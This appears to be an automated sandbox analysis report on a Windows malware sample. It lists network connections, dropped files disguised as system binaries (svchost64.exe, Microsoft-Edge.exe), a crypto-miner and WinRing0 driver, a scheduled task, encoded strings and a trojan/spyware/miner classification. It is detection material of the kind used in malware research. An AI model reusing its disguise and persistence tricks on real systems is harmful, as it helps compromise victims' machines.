Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49872 version: TLS 1.2

Source: conhost.exe	Process created: 91
Source: cmd.exe	Process created: 156

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\svchost64.exe

File created: C:\Windows\system32\Microsoft\Libs\WR64.sys

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\axplong.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\system32\services64.exe
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\system32\Microsoft\Libs
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\system32\Microsoft\Libs\sihost64.exe
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	File created: C:\Windows\system32\Microsoft\Libs\WR64.sys

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C2E440	6_2_00C2E440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C2E440	6_2_00C2E440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C24CF0	6_2_00C24CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C63068	6_2_00C63068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C57D83	6_2_00C57D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C24AF0	6_2_00C24AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C6765B	6_2_00C6765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C62BD0	6_2_00C62BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C6777B	6_2_00C6777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C66F09	6_2_00C66F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00C68720	6_2_00C68720
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 107_2_00007FFD9BAC0ECD	107_2_00007FFD9BAC0ECD
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 139_2_00007FFD9BAA7642	139_2_00007FFD9BAA7642
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 139_2_00007FFD9BAA6896	139_2_00007FFD9BAA6896
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 139_2_00007FFD9BAA1141	139_2_00007FFD9BAA1141
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Code function: 144_2_00007FFD9BAC5772	144_2_00007FFD9BAC5772
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Code function: 144_2_00007FFD9BAC49C6	144_2_00007FFD9BAC49C6
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 149_2_00007FFD9BA97642	149_2_00007FFD9BA97642
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 149_2_00007FFD9BA96896	149_2_00007FFD9BA96896
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Code function: 149_2_00007FFD9BA9108D	149_2_00007FFD9BA9108D
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Code function: 159_2_00007FFD9BAD5772	159_2_00007FFD9BAD5772
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Code function: 159_2_00007FFD9BAD49C6	159_2_00007FFD9BAD49C6

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loader_5879465914[1].exe ECF9B0828798392080348E096E843458267B9DF11EBC035ECD9C738BB69DB470
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe ECF9B0828798392080348E096E843458267B9DF11EBC035ECD9C738BB69DB470
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe ECF9B0828798392080348E096E843458267B9DF11EBC035ECD9C738BB69DB470

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: String function: 00C37870 appears 33 times

Source: Microsoft-Edge.exe.7.dr	Static PE information: Number of sections : 18 > 10
Source: loader_5879465914.exe.6.dr	Static PE information: Number of sections : 18 > 10
Source: loader_5879465914[1].exe.6.dr	Static PE information: Number of sections : 18 > 10

Source: miner2.0.exe.82.dr	Static PE information: No import functions for PE file found
Source: svchost64.exe.85.dr	Static PE information: No import functions for PE file found
Source: services64.exe.107.dr	Static PE information: No import functions for PE file found
Source: sihost64.exe.139.dr	Static PE information: No import functions for PE file found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: miner2.0.exe.82.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: svchost64.exe.85.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: services64.exe.107.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9973763198228883
Source: file.exe	Static PE information: Section: nataabbx ZLIB complexity 0.9948613709117556
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9973763198228883
Source: axplong.exe.0.dr	Static PE information: Section: nataabbx ZLIB complexity 0.9948613709117556

Source: svchost64.exe.85.dr, yelshopxrkiqn.cs

Base64 encoded string: 'iWKBihCY/NR2u0VfXDnEMncwh0+pxXUtzTeI9OrvHieB1/U+tWGISXa2FTtyWV+O6+W+tAp9+fgFtq/qVxQlVw==', 'ieY8ZO9hFlLqpClco4yeBCyILf6h/s5ppeMlqk0FmZM7ROwjOVibc0UXkbJKHIkF', 'ieY8ZO9hFlLqpClco4yeBCyILf6h/s5ppeMlqk0FmZM7ROwjOVibc0UXkbJKHIkF', 'khR1b64TY8z9/BVRlRAkypYyYygZVgfzIVqfSrRVbtMA20lP9OIeb/63pXaoY2a900uUXc3nISGt4d+8ks0DQA==', 'Ki2fV6sqVt3eaBbMfXV41tgWCJ8rn7dUf0dsiy7tudXkvwzgD95p4EQYv9YXNvC3XrIW7u1JVNv0R7qyqCBtAYmqXCDXTakehAYnHB1XiN6BFmssQDRphFG109HSpPEX', 'khR1b64TY8z9/BVRlRAkypYyYygZVgfzIVqfSrRVbtMA20lP9OIeb/63pXaoY2a9wxBCW4jCfj3W0Gk/iTDqkUthU1U/7dUdCI9IQrSzF8I=', 'Ki2fV6sqVt3eaBbMfXV41tgWCJ8rn7dUf0dsiy7tudXkvwzgD95p4EQYv9YXNvC3XrIW7u1JVNv0R7qyqCBtAYmqXCDXTakehAYnHB1XiN5GEgIS4IV/6UqQrQnxXiEM'

Source: WR64.sys.139.dr

Binary string: \Device\WinRing0_1_2_0

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@314/69@4/4

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Code function: 7_2_00401B3F GetCurrentProcessId,CreateToolhelp32Snapshot,fwrite,Process32First,_stricmp,Process32Next,CloseHandle,CloseHandle,

7_2_00401B3F

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loader_5879465914[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5964:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4588:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
